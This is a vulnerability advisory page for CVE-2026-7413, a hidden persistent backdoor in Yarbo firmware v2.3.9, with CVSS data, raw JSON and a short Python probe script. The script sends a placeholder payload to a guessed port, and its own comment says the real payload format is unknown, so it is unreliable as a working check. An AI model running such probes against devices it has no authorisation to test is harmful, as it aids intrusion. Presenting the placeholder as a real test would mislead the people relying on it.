Security Vulnerability Report
中文
CVE-2026-7413 CVSS 7.2 HIGH

CVE-2026-7413

Published: 2026-05-07 17:15:59
Last Modified: 2026-05-08 23:16:40

Description

A hidden, persistent backdoor was found in Yarbo firmware v2.3.9 that provides remote, unauthenticated (or weakly authenticated) access to privileged functionality. The backdoor is undocumented, cannot be disabled via user-facing settings, and survives factory reset and ordinary firmware updates.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Yarbo firmware v2.3.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket def check_backdoor(ip, port): """ Attempts to connect to the Yarbo backdoor service. """ try: # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((ip, port)) # Send a probe payload to trigger backdoor response # Payload format depends on specific backdoor implementation payload = b"\x00\x01\x02BACKDOOR_CHECK\x00" s.send(payload) # Receive response response = s.recv(1024) s.close() # Check for characteristic backdoor response if b"root" in response.lower() or b"shell" in response.lower(): print("[+] Vulnerability confirmed: Backdoor active on target.") return True else: print("[-] Target does not appear vulnerable or backdoor port closed.") return False except Exception as e: print(f"[-] Connection error: {e}") return False # Example usage # target_ip = "192.168.1.10" # target_port = 31337 # check_backdoor(target_ip, target_port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7413", "sourceIdentifier": "[email protected]", "published": "2026-05-07T17:15:59.343", "lastModified": "2026-05-08T23:16:40.193", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A hidden, persistent backdoor was found in Yarbo firmware v2.3.9 that provides remote, unauthenticated (or weakly authenticated) access to privileged functionality. The backdoor is undocumented, cannot be disabled via user-facing settings, and survives factory reset and ordinary firmware updates."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-912"}]}], "references": [{"url": "https://github.com/Bin4ry/yarbo-nat-in-my-back-yard", "source": "[email protected]"}, {"url": "https://takeonme.org/gcves/GCVE-1337-2026-00000000000000000000000000000000000000000000000000111111111111111111111110000000000000000000000000000000000000000000000000000000111", "source": "[email protected]"}, {"url": "https://takeonme.org/cves/cve-2026-7413/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}